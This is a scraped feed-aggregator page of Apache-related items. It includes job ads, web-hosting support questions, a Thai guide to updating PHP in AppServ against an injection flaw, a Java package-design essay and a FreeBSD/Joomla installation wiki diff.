Next Page: 10000

          ML Solutions Architect - Alexa AI - Amazon Technologies, Inc. - Seattle, WA      Cache   Translate Page      
Frameworks and Infrastructure with tools like Apache MXNet and TensorFlow, API-driven Services like Amazon Lex, Amazon Polly and Amazon Rekognition to quickly...
From Amazon.com - Tue, 08 Jan 2019 21:02:35 GMT - View all Seattle, WA jobs
          Webhooks issues when linking      Cache   Translate Page      

Replies: 0

I’ve been trying to get this sorted for the past few hours, however I am none the wiser. I am having major errors with webhooks. Keep getting error 400. Would someone please explain what has gone wrong? I haven’t had this issue with other Printful / Woocommerce sites I’ve set up using this plugin. Cheers.

##### Printful Checklist #####
* Connection to Printful API => OK
* Printful API key is set => OK
* WordPress Permalinks => OK
* WordPress version => OK
* WooCommerce API enabled => OK
* WooCommerce Webhooks => FAIL
* WooCommerce API keys are set => OK
* WooCommerce authentication URL access=> OK
* WordPress remote requests => OK
* Recent store sync errors => OK
* Write permissions => OK
* PHP memory limit => OK
* PHP script time limit => OK

##### Printful Last Sync’s #####
Date Request Message
* 2019-02-09 18:49:33; GET /webhooks/count; OK;
* 2019-02-09 18:49:31; GET /products/count; OK;
* 2019-02-09 18:49:30; GET /orders/count; OK;
* 2019-02-09 18:49:29; PUT /printful/access; OK;
* 2019-02-09 18:49:27; GET /; OK;
* 2019-02-09 18:43:39; GET /; OK;
* 2019-02-09 18:43:38; POST /orders/0; ERROR;
* 2019-02-09 18:43:36; GET /products/count; OK;
* 2019-02-09 18:43:35; GET /; OK;
* 2019-02-09 18:43:25; GET /; OK;

##### Environment #####
* home_url => http://donnathomas.photos
* site_url => http://donnathomas.photos
* version => 3.5.4
* log_directory => /home/content/n3pewpnaspod01_data02/28/42381828/html/wp-content/uploads/wc-logs/
* wp_version => 5.0.3
* language => en_GB
* server_info => Apache
* php_version => 7.2.7
* php_max_execution_time => 30
* php_max_input_vars => 1000
* curl_version => 7.45.0, OpenSSL/1.0.1e
* mysql_version => 5.7.23
* mysql_version_string => 5.7.23-23-log
* default_timezone => UTC

##### Database #####
* wc_database_version => 3.5.4
* database_prefix => wp_0hfxq4zb86_
* maxmind_geoip_database => /home/content/n3pewpnaspod01_data02/28/42381828/html/wp-content/uploads/GeoLite2-Country.mmdb

##### Active Plugins #####
* ManageWP – Worker (4.6.3)
* All In One SEO Pack (2.11)
* Beaver Builder Booster (1.0.9)
* Beaver Builder Plugin (Lite Version) (2.2.0.6)
* Classic Editor (1.4)
* Contact Widgets (1.6.1)
* Jetpack by WordPress.com (7.0)
* Mailchimp for WooCommerce (2.1.13)
* No Right Click Images Plugin (3.4)
* Printful Integration for WooCommerce (2.0.7)
* WooCommerce Services (1.18.0)
* WooCommerce (3.5.4)

##### Theme #####
* name => Escapade
* version => 1.1.2
* version_latest => 1.1.2
* author_url => https://www.godaddy.com/
* parent_name => Primer
* parent_version => 1.8.6
* parent_version_latest => 1.8.6
* parent_author_url => https://www.godaddy.com/

##### WooCommerce settings #####
* currency => GBP
* currency_symbol => £
* currency_position => left
* thousand_separator => ,
* decimal_separator => .

On the Printful dashbord side, we are getting: CODE: G53542130

  • This topic was modified 1 hour ago by Leigh. Reason: adding error code from Printful

          German Top 50 Official Dance Charts 08.02.2019 (2019)      Cache   Translate Page      
01. Robin Schulz & Erika Sirola - Speechless 02. Calvin Harris & Rag'n'Bone Man - Giant 03. Hugel & Amber Van Day - WTF (feat. Amber Van Day) 04. Niels Van Gogh - Pulverturm (Tiësto's Big Room Remix) 05. Chic - Le Freak (Oliver Heldens Remix) 06. Sean Finn & Lotus feat. Sister Sledge & Sister Sledge - Lost in Music (Original Club Mix) 07. Picco - Cubano 08. David Guetta & Bebe Rexha & J Balvin - Say My Name (feat. Bebe Rexha & J Balvin) (Lucas & Steve Remix) 09. Fatboy Slim - Praise You (Purple Disco Machine Remix) 10. Mike Candys - Pump It Up 11. Arnold Palmer - Believe 12. Alle Farben & Ilira - Fading 13. Panic! At the Disco - High Hopes (Don Diablo Remix) 14. Mark Ronson & Miley Cyrus - Nothing Breaks Like a Heart 15. OFFAIAH - Push Pull 16. Calvin Harris & Sam Smith - Promises (David Guetta Remix) 17. Bobby Rock - Sky Is the Limit (Radio Mix) 18. Tujamo - Get Up 19. Martin Garrix & Mike Yung - Dreamer 20. EDX - Who Cares 21. CamelPhat & Cristoph & Jem Cooke - Breathe 22. Andrew Spencer - Be Mine (Radio Edit) 23. DJ Smilk & Dave Bo - Sex on Sax (Original Mix) 24. Rockstroh - Kind dieser Stadt 25. Niels van Gogh & Steelfish - Love & Money (Original Radio Edit) 26. Yolanda Be Cool - Dance & Chant (Original Mix) 27. Mousse T. & Cleah - Melodie (Mousse T's Disco Shizzle Remix Edit) 28. Elderbrook - Old Friend 29. Keanu Silva & Don Diablo - King Of My Castle (Don Diablo Edit) 30. DJ PP - Pachangon (Original Mix) 31. Purple Disco Machine & Lorenz Rhode - Music In You (David Penn Remix) 32. Aka Aka & Maxiz - Need You 33. Simon Fava & Dual Beat - Enter 34. Jax Jones & Years & Years - Play 35. Anstandslos & Durchgeknallt & Georg Stengel - Holterdiepolter (Extended Mix) 36. Lucas & Steve - Adagio For Strings 37. Lizot - Corvette 38. Jay Frog - Hey Baby! (Original Mix) 39. Drenchill & Indiiana - Freed from Desire 40. Moguai - Tetra 41. Dimitri Vegas & Like Mike, Armin van Buuren & W&W - Repeat After Me 42. Armin van Buuren & W&W - Ready To Rave (Mixed) 43. Airwolf - Make It Bang 44. Anne-Marie - Perfect To Me (Pink Panda's All Day Long Remix) 45. Desto - Love Instead (Radio Mix) 46. Wolfpack & Eastblock Bitches - Apache Anthem 47. Hight & Hannah Jane Lewis - I'm With You (feat. Hannah Jane Lewis) [DAZZ Remix] 48. Tom Novy & Milkwish - Dream Catcher 49. Dorrey Lyles - Let the Music Play (Arnold Palmer Edit) 50. Clean Bandit & Marina & Luis Fonsi - Baby
          ruby on railsについての質問なのですが、何故、自分のPC内で「rails s」コマンド...      Cache   Translate Page      
ruby on railsについての質問なのですが、何故、自分のPC内で「rails s」コマンドで起動したサーバーはapacheなどをインストールしていないにも関わらずwebサーバーのような機能を持ち合わせているのでしょうか?
          Create an automated license key service that creates a user on my server for vpn      Cache   Translate Page      
I currently have a server that is running pritunl client. I am able to manually add people to my server, but this will be quite inefficient. Right now, i have to manually create someone's profile, send them their pin and profile file... (Budget: $30 - $250 USD, Jobs: Apache, Debian, Linux, System Admin, Ubuntu)
          600全讯开户送白菜-留言管理,PATHINFO模式)3、添加后台控制前台推荐、分类等显示方式和显示数量4、添加广告幻灯片功能5、添加上传二维码功能6、添加分类SEO设置7、添加分类图片选择8、添加在线留言功能前台功能1、添加站内搜索功能2、页面滚动时导航固定顶部3、二维码显示4、留言反馈多功能精美网站导航源码更新日志:v1.11.修改添加过多会引起错位的情况2,五外链03、2      Cache   Translate Page      
最新注册送彩金网站百万数据也不成问题。,如Apache、Zeus、IIS、Nginx等2.php5.2.x+zendoptimizer3.3 3.MySQL4.0及以上(建议使用php5.0以上版本),运行环境:PHP5.2+MYSQL5.0以上+ZendOptimizer3.3你可以通过简单的修改,CSSTidy是一个开源的样式表CSS优化工具,红色大气搬家公司网站是以dedecms作为核心进行开发的搬家公司网站源码。从订单到客户留言,
          groovy (2.5.6)      Cache   Translate Page      
Apache Groovy is a powerful, optionally typed and dynamic language, with static-typing and static compilation capabilities, for the Java platform.

          Spécialiste intergiciel JBoss/Magnolia - ACCEO Solutions - Montréal, QC      Cache   Translate Page      
L’environnement se compose de JBoss EAP 6 et 7, Apache, Tomcat, OpenAM 13, ActiveMQ, Magnolia 5.4, Système de surveillance Nagios et JBoss ON, Serveurs RHEL 6...
From ACCEO Solutions - Thu, 07 Feb 2019 23:59:24 GMT - View all Montréal, QC jobs
          Research Application Administrator - ITS - Careers | West Virginia University - Morgantown, WV      Cache   Translate Page      
Have extensive knowledge of application administration using the Apache Tomcat 7/8 Java Serviet Server, Apache Web Server using HTTP Proxy directives and...
From West Virginia University - Tue, 15 Jan 2019 04:05:27 GMT - View all Morgantown, WV jobs
          วิธีการ Update PHP ของ AppServ เพื่อความปลอดภัย      Cache   Translate Page      
สวัสดีครับ ช่วงนี้กำลังเป็นประเด็นหนาหูเกี่ยวกับ hacker กลุ่มที่ผมสังกัดอยู่เลย
เกี่ยวกับการยิง Apache 2.2 ที่ติดมากับ AppServ 2.5.10 (ตัวล่าสุดนั่นแหละ)
ซึ่งผลกระทบส่วนใหญ่ จะเป็นเว็บ IP Bonus ฟรี และเว็บเซิฟเวอร์เถื่อน และเว็บอื่นๆ ที่ใช้
AppServ 2.5.10 หรือต่ำกว่านั่นเองครับ (IP Bonus หลายเว็บที่ทางทีมผมทดสอบยิง ก็ยิงได้เกือบทุกเว็บเลย)

ซึ่งวิธีการ มันก็ง่าย จนใครหลายคนคาดไม่ถึงแหละครับ เป็น PHP Injection ธรรมดาๆ
(ส่วนนึงก็เกิดจากความประมาทของผู้เขียน script ด้วย แต่นั่นไม่ใช่ประเด็น)

โดยส่วนตัวแล้ว หากเป็น Windows Server ผมจะแนะนำให้ใช้ IIS มากกว่า (แนะนำ 7.5 บน 2008 R2)
ซึ่งเซิฟเวอร์ของ tah club เอง ก็ใช้ IIS 7.5 เช่นกันครับ แต่หลายๆ ท่าน ซึ่งอาจจะไม่มีความรู้ จึงติดตั้งระบบ
พวกนี้ไม่เป็น (ขนาดผมติดตั้งเอง ยังกินเวลาเป็นวันเลยครับ) เพราะฉะนั้น AppServ คือทางเลือกหนึ่งที่หลายๆ คนมอง
แต่แลกกับความปลอดภัยของเว็บนั้น ผมคิดว่า มันไม่คุ้มกันเลย (ข่าว appserv โดนแฮก มีให้เห็นอยู่ร่ำไป)

ก่อนอื่น สำหรับท่านที่ลง appserv ให้ปิด Register Globals เพื่อความปลอดภัยก่อนนะครับ (อย่าลืม restart apache ด้วย)
หมายเหตุ: คลิกที่รูป เพื่อดูรูปใหญ่ได้
หมายเหตุ 2: ในรูป เป็น Windows Server 2008 R2 หากเป็น Windows Server 2003 ให้่ำทำแบบเดียวกัน

โดยการไปที่ C:\Windows แล้วเปิด php.ini มา แก้ register_globals เป็น Off แล้วเซฟครับ จากนั้นอย่าลืม restart

Image

เอาหละครับ มาถึงการอัพเดท php กันซักที ซึ่งผมจะโชว์ให้ดูนะครับ ว่าถ้าโดนยิง จะเป็นแบบนี้
httpd.exe ใช้ CPU ไป 99% กว่าๆ เลย (ทำให้เว็บล่มไปในทันที)
Image

ขอบอกก่อนนะครับว่า มันเป็น PHP Injection ธรรมดาๆ ผมไม่ได้ใช้ ddos ยิงเลย (แต่วิธีการยิงขอไม่บอกนะครับ)

ก่อนอื่น เชค PHP Version ก่อนนะครับ โดยการสร้าง php ดังนี้
Code: Select all
<?php
phpinfo();
?>
Image

ซึ่งในรูปด้านบน ก็คือ PHP 5.2.6 ซึ่งก็คือตัวที่มีปัญหา PHP Injection Exploit นั่นเองครับ เราจะมาอัพเดทเป็น
php 5.2.17 กัน (ตัวนี้แก้ปัญหาแล้ว) ทำตามขั้นตอนได้เลยครับ

ก่อนอื่น Stop Apache ก่อน (Start > Run > services.msc)

Image

เข้าไปใน C:\AppServ เปลี่ยนชื่อโฟลเดอร์ php5 เป็นชื่ออื่นก่อน

Image

เสร็จแล้วไปที่ http://windows.php.net/download/ แล้วดาวน์โหลด PHP 5.2.17 VC6 x86 Thread Safe
โหลดแบบ zip นะครับ หรือกดโหลดตาม link นี้ได้เลย
http://windows.php.net/downloads/releas ... C6-x86.zip

หมายเหตุ: ไม่แนะนำ php 5.3 เพราะยังไม่รองรับ apache 2.2

โหลดเสร็จแล้ว แตกไฟล์ออกมา เปลี่ยนชื่อเป็นโฟลเดอร์ php5 ครับ

Image

Start Apache (Start > Run > services.msc)

Image

เสร็จแล้วครับ เชค phpinfo.php อีกที ว่าเป็น php 5.2.17 แล้ว ตามรูปครับ

Image

บั๊กยิงที่ว่านี้ เมื่อท่านอัพเดท server แล้ว ก็จะยิงไม่ได้แล้วครับ
และควรจะติดตามข่าวสารการ Update Software สม่ำเสมอ เพื่อรักษาความปลอดภัยของระบบ
ท่านเอง เนื่องจากคงไม่สนุกแน่ๆ ที่เว็บโดนแฮก จริงมั้ยครับ?
          Bosque del Apache Wildlife Refuge, New Mexico with the Nikon D850 and Sigma 150-600mm f/5-6.3 DG OS HSM Sport lens      Cache   Translate Page      

Bosque del Apache Wildlife Refuge, New Mexico with the Nikon D850 and Sigma 150-600mm f/5-6.3 DG OS HSM Sport lens ($1,799) by Nikhil Shahi (Website | Facebook | Instagram): I first heard about the Sandhill Cranes at Bosque del Apache Wildlife Refuge last year. I came across some amazing images of these cranes, bathed in gorgeous […]

The post Bosque del Apache Wildlife Refuge, New Mexico with the Nikon D850 and Sigma 150-600mm f/5-6.3 DG OS HSM Sport lens appeared first on Nikon Rumors.


          PHP gets automatically upgraded with ppa:ondrej/php on Ubuntu 16.04 with Moodle 3.5      Cache   Translate Page      
by Robert Andersson.  

Hi, we have a Moodle installation that has been upgraded from 2.7 to 3.1 to 3.5 which we have running on Ubuntu 16.04. For the initial installation we followed the guide at https://docs.moodle.org/en/Step-by-step_Installation_Guide_for_Ubuntu which suggests adding the php7 ppa "ppa:ondrej/php" which we still have.

For some reason it seems like the installed PHP version will get automatically upgraded to the latest PHP major version (like PHP 7.1 to 7.2 to 7.3) when running "apt-get update ; apt-get -y dist-upgrade" even though I can't see what dependency that would cause that.

The problem was that when PHP was upgraded to 7.3 then the Moodle cronjob stopped working because of some PHP parameter incompatibility which caused old data not being removed from the tables "mdl_grade_grades_history" and "mdl_logstore_standard_log" so that those tables started to grow. When changing back the symbolic link /etc/alternatives/php from /usr/bin/php7.3 to /usr/bin/php7.1 the cronjob started to work again. Has anyone else seen this problem or know why PHP gets automatically upgraded to a new major version?

On October 15, 2018, I can see in the log from "apt-get update ; apt-get -y dist-upgrade" that PHP was automatically upgraded to php7.3:

[...]
The following NEW packages will be installed:
libargon2-0 libpcre2-8-0 libphp7.3-embed libsodium23 php7.3-cli php7.3-common php7.3-json php7.3-opcache php7.3-readline
The following packages will be upgraded:
libapache2-mod-php7.1 php-apcu php7.1 php7.1-cli php7.1-common php7.1-curl php7.1-gd php7.1-intl php7.1-json php7.1-mbstring php7.1-mysql php7.1-opcache php7.1-readline php7.1-soap php7.1-xml php7.1-xmlrpc php7.1-zip python-requests python3-requests
19 upgraded, 9 newly installed, 0 to remove and 0 not upgraded.
[...]  

When checking dependencies for all  PHP 7.3 related packages with "apt-cache rdepends" I can't see what dependecy that would case that. Any idea?


          Senior UI Software Engineer - Visteon Corporation - Grace Lake, WY      Cache   Translate Page      
IBM Rational Team Concert or ClearCase, Apache Subversion, etc.); IBM Rational Clearquest, Microsoft Team Foundation Service, Mozilla Bugzilla, etc.);...
From Visteon Corporation - Fri, 01 Feb 2019 20:43:21 GMT - View all Grace Lake, WY jobs
          Kommentar zu User Datenbank anlegen von Angelo      Cache   Translate Page      
Moin, ich hab im apache-error-log immer nur die Meldung: configuration error: couldn't perform authentication. AuthType not set!: /kivitendo-erp/admin.pl Hast du eine Idee? Als Seite bekomm ich einen error 500...
          Research Application Administrator - ITS - Careers | West Virginia University - Morgantown, WV      Cache   Translate Page      
Have extensive knowledge of application administration using the Apache Tomcat 7/8 Java Serviet Server, Apache Web Server using HTTP Proxy directives and...
From West Virginia University - Tue, 15 Jan 2019 04:05:27 GMT - View all Morgantown, WV jobs
          Turning the database inside-out with Apache Samza      Cache   Translate Page      
none
          Systems Engineer - DISH Network - Cheyenne, WY      Cache   Translate Page      
In-depth knowledge of Apache, HTTP, TCP/IP, DNS, Varnish, NFS, Linux and other open source software. At lease 3 years’ experience working with Linux and VMWare...
From DISH - Tue, 15 Jan 2019 07:28:31 GMT - View all Cheyenne, WY jobs
          Research Application Administrator - ITS - Careers | West Virginia University - Morgantown, WV      Cache   Translate Page      
Have extensive knowledge of application administration using the Apache Tomcat 7/8 Java Serviet Server, Apache Web Server using HTTP Proxy directives and...
From West Virginia University - Tue, 15 Jan 2019 04:05:27 GMT - View all Morgantown, WV jobs
          Senior UI Software Engineer - Visteon Corporation - Grace Lake, WY      Cache   Translate Page      
IBM Rational Team Concert or ClearCase, Apache Subversion, etc.); IBM Rational Clearquest, Microsoft Team Foundation Service, Mozilla Bugzilla, etc.);...
From Visteon Corporation - Fri, 01 Feb 2019 20:43:21 GMT - View all Grace Lake, WY jobs
          ML Solutions Architect - Alexa AI - Amazon Technologies, Inc. - Seattle, WA      Cache   Translate Page      
Frameworks and Infrastructure with tools like Apache MXNet and TensorFlow, API-driven Services like Amazon Lex, Amazon Polly and Amazon Rekognition to quickly...
From Amazon.com - Tue, 08 Jan 2019 21:02:35 GMT - View all Seattle, WA jobs
          Msi ge60 apache pro      Cache   Translate Page      
Máy còn như mới, chưa sửa chữa hay mở máy, nguyên hộp
          ML Solutions Architect - Alexa AI - Amazon Technologies, Inc. - Seattle, WA      Cache   Translate Page      
Frameworks and Infrastructure with tools like Apache MXNet and TensorFlow, API-driven Services like Amazon Lex, Amazon Polly and Amazon Rekognition to quickly...
From Amazon.com - Tue, 08 Jan 2019 21:02:35 GMT - View all Seattle, WA jobs
          Donald Raab: Leverage Information Chunking to scale your Java library package design      Cache   Translate Page      

Organizing and grouping your packages can help make your library easier to navigate, comprehend and grow over time.

Grounds for Sculpture, Hamilton Township, NJ

Scaling Java library package design is hard

Java gives us packages to organize related classes and interfaces. Packages are extremely useful, but can be hard to leverage effectively because every package requires a name. Naming things is hard. Organizing things effectively into a hierarchy can be a challenge. Renaming and moving things may be easy in your IDE, but can be extremely hard on your clients if they have to manually replay the rename and move refactorings in their code when they upgrade your library.

It may seem a trivial decision to put everything in the same package and jar when the number of classes in your library is less than ten or twenty. But what do you do if the number of classes and interfaces you have is much more than that? If you have a large number of interfaces and classes in your library, consider splitting your API and implementation classes into separate packages. Also, if you want to enable others to implement your API without having to include the default implementations, having a separate API jar is helpful.

I will explain the Information Chunking strategy that we leverage in Eclipse Collections. Our package hierarchy evolved significantly over time as the library grew. The package design decisions we made consciously before we open sourced Eclipse Collections have made it possible for us to continue to grow the library over an extended period of time.

How Information Chunking works

The human mind can remember seven plus or minus two things at a time. This is why phone numbers are seven digits long in the United States. Humans can more effectively manage a large set of information if related concepts are grouped together in chunks of seven plus or minus two things. Sometimes sticking strictly with this number isn’t possible without exploding the number of packages unnecessarily. For instance, organizing every primitive type container into its own package would probably be overkill. Alphabetic sorting of interface and class names gives us a visual grouping within a package so we can more quickly focus or ignore things based on their prefix.

Recommendation: Don’t make me scroll. If you make me scroll to see all of the classes in a package, then it is too many.

The Eclipse Collections Package Strategy

  • Separate Interfaces from Implementation
  • Organize top-level packages by container type
  • Organize container type specializations with container types (e.g. sorted)
  • Organize impl packages by Interface type (e.g. Mutable, Immutable)
  • Organize primitive types into a separate package
High-level concerns in Eclipse Collections

Separate Interfaces from Implementation

Eclipse Collections has separate packages and jar files for API interfaces and implementation classes. This allows for clients of our library to understand both the API and implementation separately and group both into a similar mental model by container type.

Eclipse Collections org.eclipse.collections.api/impl packages

Eclipse Collections has separate modules and package names for api and implementation. The api packages are on the left, and the impl packages are on the right.

Eclipse Collections API and Implementation Package Structures

Eclipse Collections is a large library, but has a manageable number of high level concepts grouped into packages. We have organized Eclipse Collections so that it is easy to explore the supported container types and dive into additional detail as necessary.

Having the API interfaces separated from implementation classes has resulted in extra benefits for the library. The implementation classes depend on the API interfaces, but not the other way around. When API interfaces and implementation classes are in the same packages and located in the same jar, it becomes possible to introduce unwanted dependencies between interfaces and their implementation that are hard to remove later.

JDK java.util package

The interfaces and classes contained in the JDK java.util package are shown below.

JDK java.util package

This is a lot of classes and interfaces for a single package. You can differentiate interfaces and classes by their icons, but there is no way to understand the relationship between any of these utility classes. There are collections, exceptions, formatters, comparators, statistics, optionals, calendars, date, service loader, string related stuff, time zones, timer classes, and other utilities all in the same package. This is a bag of interfaces and classes sorted alphabetically by name.

The java.util package has become a parking lot for things loosely classified as “utility”. Ideally, there should be a java.util.collection package which contains only classes and interfaces that deal with collections. Because of the backwards compatibility guarantee of Java, the only reasonable way forward is to introduce new concepts in new packages like java.util.stream.

Google Guava com.google.collect package

These are the classes and interfaces in Google Guava’s com.google.collect package.

Guava package com.google.collect

There are a lot of classes in this package, but they are all related to collections. There is a visual grouping that happens due to the prefix of some classes (e.g. Filtered, Forwarding, Immutable, Regular) but it is hard to focus on the interfaces vs. the implementations to understand the overall focus and scope of the library.

Apache org.apache.commons.collections4 package

The last library I will compare with here is Apache Commons Collections, which is the oldest third-party Java collections library.

Apache package org.apache.commons.collections4

Apache Commons Collections organizes its implementations by container type, but does not split its API interfaces and implementations into separate packages.

Eclipse Collections is the only Java collections library out of the four that has split its API and Implementations into separate packages and separate jar files.

Organize packages by container type

When we decided to add immutable container types and implementations to Eclipse Collections, we knew we needed to reorganize the library. We knew it would not work well if we had over a hundred classes and interfaces in a single package. We also decided it would be good to separate our API interfaces into a separate package structure. We then chose “container type” as the high level package grouping.

This is the set of high level containers we had to figure out how to organize in our API and implementation packages.

Eclipse Collections container types

Each container type then had a set of additional concerns that needed to be addressed in the package hierarchy.

This is what it looks like when you expand the List container type package in both the interface and implementation packages.

Interfaces in API package drive the package hierarchy in implementation package

Organize container type specializations with container types

Eclipse Collections has sorted versions of Bag, Set, and Map. Each of these container types have a sub-package named sorted. This strategy can be used with other container type specializations as needed.

Bag, Set and Map all have sorted versions

Organize impl packages by Interface types

There are three primary interface types for all container types in Eclipse Collections. They are Mutable, Immutable and Iterable (a.k.a. Readable).

Symmetry across container types — Iterable, Mutable, Immutable

For the List container type, there are implementation classes for the interface types of Mutable, Immutable and FixedSize. FixedSize is currently limited to List, Set and Map container types, and is for achieving memory efficiency for Mutable container types that are are like arrays. That is they can be modified, but they cannot be grown.

Object List implementations organized by FixedSize, Immutable and Mutable

Organize primitive types into a separate package

Primitive containers are organized below the container type packages in the API jar and below the Mutable and Immutable packages in the implementation jar.

API packages (left) and Impl packages(right) for List container type and Mutable Implementations only

We could have split the primitive collections into separate packages by primitive type. This would have resulted in eight packages for each of the primitive packages. We decided not to do this because the alphabetic sorting of class names with their prefixes provided enough of a visual grouping in the primitive packages.

Enough is enough

You need to eventually make a decision when you have enough packages in your hierarchy, and it may not work perfectly with the magical number seven in mind.

The mutable collection implementations have a few extra concerns to deal with — Synchronized, Unmodifiable and MultiReader. We felt these concepts did not warrant their own packages. There is no good name we could come up with to group them together in a package. A name like “mutable.other” would not be terribly useful. So we stopped at list.mutable and list.mutable.primitive on the implementation packages.

When is it time to restructure the packages?

We reorganized the packages in Eclipse Collections when we added Immutable Collections to the library (#10), right before we open sourced the library as GS Collections. Immutable Collections significantly increased the number of concepts we had to manage in our packages.

Package restructuring happened around item #10

The next point where we introduced something large to the ecosystem that had to fit into our package hierarchy was with primitive collections (#13). We were able to accomplish this without a complete restructuring by inserting primitive packages into the existing hierarchy below their object counterparts.

The parent packages changed again from com.gs.collections to org.eclipse.collections when the library was migrated to the Eclipse Foundation and became Eclipse Collections. We open sourced a separate library to help users of GS Collections convert to Eclipse Collections — https://github.com/eclipse/gsc-ec-converter

Final Thoughts

Java packages are a solution to help with the problem of name spacing and logical grouping. When you’re evolving and growing a library, you should be prepared to optimize your package structure to allow for better logical grouping and information chunking.

Eclipse Collections is open for contributions. If you like the library, you can let us know by starring it on GitHub.


Leverage Information Chunking to scale your Java library package design was originally published in Oracle Developers on Medium, where people are continuing the conversation by highlighting and responding to this story.


          ARMURERIE APACHE      Cache   Translate Page      

Chemin du Bordia, 3A – B 1370 JODOIGNE T/ 00.32.10.81.18.82 lui ecrire

Cet article ARMURERIE APACHE est apparu en premier sur Chasse - pecheretchasser.com.


          Research Application Administrator - ITS - Careers | West Virginia University - Morgantown, WV      Cache   Translate Page      
Have extensive knowledge of application administration using the Apache Tomcat 7/8 Java Serviet Server, Apache Web Server using HTTP Proxy directives and...
From West Virginia University - Tue, 15 Jan 2019 04:05:27 GMT - View all Morgantown, WV jobs
          [آموزش] دانلود Udemy Learning Responsive Web Design – Complete Video Course – آموزش کامل طراحی وب سایت های پاسخگو      Cache   Translate Page      

دانلود Udemy Learning Responsive Web Design - Complete Video Course - آموزش کامل طراحی وب سایت های پاسخگو#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

طراحی وب واکنش‌گرا (Responsive web design) یک روش طراحی وب است که هدف آن نمایش مطلوب صفحه در طیف گسترده‌ای از دستگاه‌ها از تلفن‌های همراه تا نمایشگر کامپیوترهای رومیزی است. یک وب‌سایت طراحی شده به روش واکنش‌گرا با لایه‌های انعطاف‌پذیر، طراحی‌های شناور، تصاویر انعطاف‌پذیر و مدیا کوئری‌های CSS3 سازگار است. به عبارت دیگر وب سایت شما باید این قابلیت را داشته باشد که در یک گوشی با صفحه کوچک تا یک تلویزیون هوشمند با صفحه 60 اینچی قابل نمایش باشد.در این دوره آموزشی Udemy Learning Responsive Web Design - Complete Video Course شما با آموزش کامل طراحی وب سایت ...


https://p30download.com/84727

مطالب مرتبط:



دسته بندی: دانلود » آموزش » برنامه نویسی و طراحی وب
برچسب ها: , , , , , , , , , , , , ,
لینک های مفید: خرید کارت شارژ, شارژ مستقیم, پرداخت قبض, خرید آنتی ویروس, خرید لایسنس آنتی ویروس, تبلیغات در اینترنت, تبلیغات اینترنتی
© حق مطلب و تصویر برای پی سی دانلود محفوظ است همین حالا مشترک این پایگاه شوید!
لینک دانلود: https://p30download.com/fa/entry/84727


          FreeBSD Installation      Cache   Translate Page      

Installing MySQL Database Server

← Older revision Revision as of 05:42, 10 February 2019
(4 intermediate revisions by the same user not shown)
Line 24: Line 24:
 
<code>pkg install apache24</code><br />
 
<code>pkg install apache24</code><br />
  
Add the following lines to <tt>/etc/rc.conf</tt>
+
Add the following lines to <code>/etc/rc.conf</code>:
 
<source lang="php">
 
<source lang="php">
 
apache24_enable="YES"
 
apache24_enable="YES"
 
apache24_http_accept_enable="YES"</source>
 
apache24_http_accept_enable="YES"</source>
  
Start the apache server<br />
+
Start the apache server.<br />
 
<code>service apache24 start</code><br />
 
<code>service apache24 start</code><br />
 
<br />
 
<br />
Line 38: Line 38:
 
<code>pkg install php73</code><br />
 
<code>pkg install php73</code><br />
  
Also install Apache PHP module mod_php73<br />
+
Also install Apache PHP module mod_php73.<br />
 
<code>pkg install mod_php73</code><br />
 
<code>pkg install mod_php73</code><br />
  
As instructed by the post-install message, add the following lines to <tt>/usr/local/etc/apache24/httpd.conf</tt><br />
+
As instructed by the post-install message, add the following lines to <code>/usr/local/etc/apache24/httpd.conf</code>:<br />
 
<source lang="php">
 
<source lang="php">
 
<FilesMatch "\.php$">
 
<FilesMatch "\.php$">
Line 79: Line 79:
 
<code>cp php.ini-production php.ini</code><br />
 
<code>cp php.ini-production php.ini</code><br />
  
Open and edit <tt>/usr/local/etc/php.ini</tt> and adjust the following values:
+
Open and edit <code>/usr/local/etc/php.ini</code> and adjust the following values:
  
* '''memory_limit''': Minimum: 64M Recommended: 128M or better
+
* '''memory_limit''':&nbsp;&nbsp;Minimum: 64M&nbsp;&nbsp;&nbsp;Recommended: 128M or more
* '''upload_max_filesize''': Minimum: 20M
+
* '''upload_max_filesize''':&nbsp;&nbsp;Minimum: 20M
* '''post_max_size''': Minimum: 20M
+
* '''post_max_size''':&nbsp;&nbsp;Minimum: 20M
* '''max_execution_time''': At Least 120 Recommended: 300
+
* '''max_execution_time''':&nbsp;&nbsp;At Least 120&nbsp;&nbsp;&nbsp;Recommended: 300 or higher
  
  
Line 95: Line 95:
 
Execute the following commands to install MySQL 8.0 server.<br />
 
Execute the following commands to install MySQL 8.0 server.<br />
 
<code>pkg install mysql80-server</code><br />
 
<code>pkg install mysql80-server</code><br />
Add the following line to <tt>/etc/rc.conf</tt><br />
+
<br />
 +
Add the following line to <code>/etc/rc.conf</code>:<br />
 
<source lang="php">mysql_enable="YES"</source>
 
<source lang="php">mysql_enable="YES"</source>
 
Edit <code>/usr/local/etc/mysql/my.cnf</code> and add the following line to the <code>[mysqld]</code> section:<br />
 
Edit <code>/usr/local/etc/mysql/my.cnf</code> and add the following line to the <code>[mysqld]</code> section:<br />
 
<source lang="php">
 
<source lang="php">
 
default_authentication_plugin  = mysql_native_password</source>
 
default_authentication_plugin  = mysql_native_password</source>
Start the MySQL server<br />
+
Start the MySQL server.<br />
 
<code>service mysql-server start</code><br />
 
<code>service mysql-server start</code><br />
 
<br />
 
<br />
Upon initial installation, the MySQL 8.0 server's root user has no password<br />
+
Upon initial installation, the MySQL 8.0 server's root user has no password.<br />
 
<br />
 
<br />
 
Login to the mysql server on the command line as root and set your desired password.<br />
 
Login to the mysql server on the command line as root and set your desired password.<br />
Line 115: Line 116:
 
root@localhost [(none)]><code>create user 'joomlauser'@'localhost' identified by 'password';</code><br />
 
root@localhost [(none)]><code>create user 'joomlauser'@'localhost' identified by 'password';</code><br />
 
<br />
 
<br />
Grant the user all privileges to the Joomla database<br />
+
Grant the user all privileges to the Joomla database.<br />
root@localhost [(none)]><code>grant all privileges on joomladb.* to 'joomlauser'@'localhost';</code><br /><br />
+
root@localhost [(none)]><code>grant all privileges on joomladb.* to 'joomlauser'@'localhost';</code><br />
<code>exit</code> to close and exit the connection to MySQL server.<br />
+
<br />
 +
<code>exit</code> to close the connection to MySQL server.<br />
 
<br />
 
<br />
  
Line 169: Line 171:
  
  
Apache's error log is located at <tt>/var/log/httpd-error.log</tt><br />
+
Apache's error log is located at <code>/var/log/httpd-error.log</code><br />
MySQL log files are located in <tt>/var/db/mysql/</tt> and are named <tt><hostname>.err</tt> and <tt><hostname>-slow.log</tt> by default.<br />
+
